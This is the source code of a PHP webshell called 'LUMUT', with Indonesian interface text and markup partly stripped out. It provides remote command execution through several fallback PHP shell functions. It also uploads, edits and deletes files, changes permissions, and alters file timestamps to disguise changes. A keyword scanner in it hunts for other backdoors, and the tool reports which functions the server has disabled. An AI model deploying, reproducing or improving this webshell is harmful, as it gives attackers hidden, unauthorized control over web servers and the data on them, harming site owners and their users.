LUMUT

LUMUT PANEL

' . (isset($error) ? "
$error
" : "") . '
'; exit; } if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } function x($string) { return htmlspecialchars($string ?? '', ENT_QUOTES, 'UTF-8'); } function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; else return $bytes . ' B'; } function permColor($path) { if (is_writable($path)) return 'style="color:#0f0"'; elseif (is_readable($path)) return 'style="color:#fff"'; else return 'style="color:#f00"'; } function runShellCommand($command) { $output = ''; $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $inputPath = isset($_GET['d']) ? urldecode($_GET['d']) : getcwd(); $currentPath = $isWindows ? str_replace('/', DIRECTORY_SEPARATOR, $inputPath) : str_replace('\\', DIRECTORY_SEPARATOR, $inputPath); $command = "cd " . $currentPath . " && " . $command; echo "command : " . $command; if (function_exists('shell_exec')) { $output = shell_exec($command); } elseif (function_exists('exec')) { exec($command, $lines); $output = implode("\n", $lines); } elseif (function_exists('system')) { ob_start(); system($command); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); passthru($command); $output = ob_get_clean(); } elseif (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[0]); fclose($pipes[2]); proc_close($process); } else { return false; } } else { return false; } return $output; } function file_path_to_url($file_path) { $doc_root = realpath($_SERVER['DOCUMENT_ROOT']); $real_path = realpath($file_path); if ($real_path === false || strpos($real_path, $doc_root) !== 0) { return false; } $relative = substr($real_path, strlen($doc_root)); $relative = str_replace('\\', '/', $relative); $relative = ltrim($relative, '/'); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $host = $_SERVER['HTTP_HOST']; $url = $protocol . $host . '/' . $relative; return $url; } function generate_random_string($length = 10, $prefix = 'Ladev') { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $random = ''; $rand_length = $length - strlen($prefix); for ($i = 0; $i < $rand_length; $i++) { $random .= $chars[random_int(0, strlen($chars) - 1)]; } return $prefix . $random; } if (!is_dir($currentPath)) { die("Direktori tidak valid: $currentPath"); } if (!is_dir($currentPath)) die("Direktori tidak valid."); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { if ($_POST['action'] === 'unzip' && !empty($_POST['zip_path'])) { $zipPath = $_POST['zip_path']; $zip = new ZipArchive(); if ($zip->open($zipPath) === true) { $zip->extractTo($currentPath); $zip->close(); echo json_encode(['status' => 'success', 'message' => 'Berhasil extract file ZIP.']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal membuka file ZIP.']); } exit; } if ($_POST['action'] === 'zip' && !empty($_POST['folder_to_zip'])) { $folderToZip = $_POST['folder_to_zip']; $zipName = basename($folderToZip) . ".zip"; $zipPath = $currentPath . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { $folderRealPath = realpath($folderToZip); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folderRealPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) {$filePath = realpath($file); $relativePath = substr($filePath, strlen($folderRealPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } $zip->close(); echo json_encode(['status' => 'success', 'message' => "Folder berhasil dijadikan ZIP: $zipName"]); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal membuat file ZIP.']); } exit; } } $allItems = scandir($currentPath); $allFiles = []; $allFolders = []; foreach ($allItems as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $currentPath . DIRECTORY_SEPARATOR . $item; if (is_dir($itemPath)) $allFolders[] = $item; if (is_file($itemPath) && pathinfo($item, PATHINFO_EXTENSION) === 'zip') $allFiles[] = $item; } if (isset($_POST['run_command'])) { $command = $_POST['command']; $output = runShellCommand($command); if ($output !== false) { if (!empty($output)) { $message = "
" . htmlspecialchars($output, ENT_QUOTES, 'UTF-8') . "
"; $messageType = "success"; } else { $message = "
Perintah tidak bisa dijalankan atau tidak menghasilkan output.
"; $messageType = "error"; } } else { $message = "Semua fungsi eksekusi shell tidak tersedia di server."; $messageType = "error"; } } if (isset($_POST['create_file']) && !empty($_POST['file_name'])) { $newFile = rtrim($currentPath, '/') . '/' . basename($_POST['file_name']); if (file_exists($newFile)) { $message = "File sudah ada."; $messageType = "error"; } else { if (file_put_contents($newFile, '') !== false) { $message = "File berhasil dibuat."; $messageType = "success"; } else { $message = "Gagal membuat file."; $messageType = "error"; } } } if (isset($_POST['edit'])) { $path = $_POST['edit_path']; if (is_file($path)) { $content = htmlspecialchars(file_get_contents($path)); echo "

"; exit; } } if (isset($_POST['change_perm']) && !empty($_POST['perm_path']) && !empty($_POST['permissions'])) { $permPath = $_POST['perm_path']; $perm = $_POST['permissions']; if (@chmod($permPath, octdec($perm))) { $message = "Permission berhasil diubah."; $messageType = "success"; } else { $message = "Gagal mengubah permission."; $messageType = "error"; } } if (isset($_POST['rename']) && !empty($_POST['rename_path']) && !empty($_POST['new_name'])) { $oldPath = $_POST['rename_path']; $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (file_exists($newPath)) { $message = "Nama baru sudah digunakan."; $messageType = "error"; } else { if (rename($oldPath, $newPath)) { $message = "Berhasil mengganti nama."; $messageType = "success"; } else { $message = "Gagal mengganti nama."; $messageType = "error"; } } } if (isset($_POST['save_edit'])) { if (file_put_contents($_POST['edit_path'], $_POST['new_content']) !== false) { $message = "File berhasil disimpan."; $messageType = "success"; } else { $message = "Gagal menyimpan file."; $messageType = "error"; } } if (isset($_POST['upload']) && isset($_FILES['uploaded_file'])) { $targetPath = rtrim($currentPath, '/') . '/' . basename($_FILES['uploaded_file']['name']); if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetPath)) { $message = "File berhasil diupload."; $messageType = "success"; } else { $message = "Gagal mengupload file."; $messageType = "error"; } } if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { $newFolder = rtrim($currentPath, '/') . '/' . basename($_POST['folder_name']); if (file_exists($newFolder)) { $message = "Folder sudah ada."; $messageType = "error"; } elseif (mkdir($newFolder, 0755)) { $message = "Folder berhasil dibuat."; $messageType = "success"; } else { $message = "Gagal membuat folder."; $messageType = "error"; } } if (isset($_POST['delete_path'])) { $deletePath = $_POST['delete_path']; if (is_file($deletePath)) { if (unlink($deletePath)) { $message = "File berhasil dihapus."; $messageType = "success"; } else { $message = "Gagal menghapus file."; $messageType = "error"; } } elseif (is_dir($deletePath)) { if (rmdir($deletePath)) { $message = "Folder berhasil dihapus."; $messageType = "success"; } else { $message = "Gagal menghapus folder (pastikan kosong)."; $messageType = "error"; } } else { $message = "Path tidak ditemukan."; $messageType = "error"; } } if (isset($_POST['change_time']) && !empty($_POST['new_time'])) { $timePath = $_POST['time_path']; $newTime = strtotime($_POST['new_time']); if ($newTime !== false && touch($timePath, $newTime, $newTime)) { $message = "Tanggal file berhasil diubah."; $messageType = "success"; } else { $message = "Format tanggal tidak valid atau gagal mengubah tanggal."; $messageType = "error"; } } if (isset($_POST['scan_backdoor'])) { $scanPath = $_POST['scan_path'] ?? $currentPath; if (!is_dir($scanPath)) { echo "
⌠Direktori tidak valid.
"; } else { $danger_keywords = [ 'tinggi' => ['eval(', 'shell_exec(', 'exec(', 'passthru(', 'system(', 'base64_decode(', 'gzinflate('], 'biasa' => ['file_put_contents(', 'file_get_contents(', 'move_uploaded_file('] ]; $suspectFiles = []; function scanBackdoorDeep($dir, &$results, $danger_keywords) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (basename($path) === 'shell-found.txt') continue; if (is_dir($path)) { scanBackdoorDeep($path, $results, $danger_keywords); } else { $ext = pathinfo($path, PATHINFO_EXTENSION); if (in_array(strtolower($ext), ['php', 'phtml', 'inc'])) { $content = @file_get_contents($path); if (!$content) continue; $content = strtolower($content); $detected = []; foreach ($danger_keywords as $level => $keywords) { foreach ($keywords as $kw) { if (strpos($content, strtolower($kw)) !== false) { $detected[] = $kw; } } if (!empty($detected)) { $results[] = ['file' => $path, 'level' => $level, 'hits' => $detected ]; $logLine = "$path | Level: " . strtoupper($level) . " | Found: " . implode(', ', $detected) . "\n"; file_put_contents("shell-found.txt", $logLine, FILE_APPEND); break; } } } } } } scanBackdoorDeep($scanPath, $suspectFiles, $danger_keywords); if (!empty($suspectFiles)) { echo "

🛑 Ditemukan File Mencurigakan di " . x($scanPath) . ":

"; } else { echo "
✅ Tidak ditemukan file mencurigakan.
"; } } } ?> File Manager Disable Functions: " . ini_get('disable_functions') . ""; ?>
LUMUT

LUMUT FILE MANAGER

Logout

Commands

'>

Webshell

Backup

Path saat ini: / $crumb) { if ($crumb === '') continue; $pathSoFar .= ($i > 0 ? DIRECTORY_SEPARATOR : '') . $crumb; echo '' . x($crumb) . ''; if ($i < count($breadcrumbs) - 1) echo '/'; } ?> ">

$stat['uid']])['name'] : $stat['uid']; $group = function_exists('posix_getgrgid') ? (posix_getgrgid($stat['gid']) ?? ['name' => $stat['gid']])['name'] : $stat['gid']; $isDir = is_dir($fullPath); $date = date("Y-m-d H:i:s", filemtime($fullPath)); echo ''; if (!$isDir) { echo ''; } echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Nama Ukuran Permission Owner Group Tanggal Aksi
'; } else { echo '		' . x($item) . '' . ($isDir ? 'Folder' : formatSize(filesize($fullPath))) . '' . $perm . '' . x($owner) . '' . x($group) . '' . $date . ''; if (!$isDir) { echo '
'; } echo '
'; if (!$isDir) { echo ''; } echo '

🔒 Unzip File ZIP

🗃️ ZIP Folder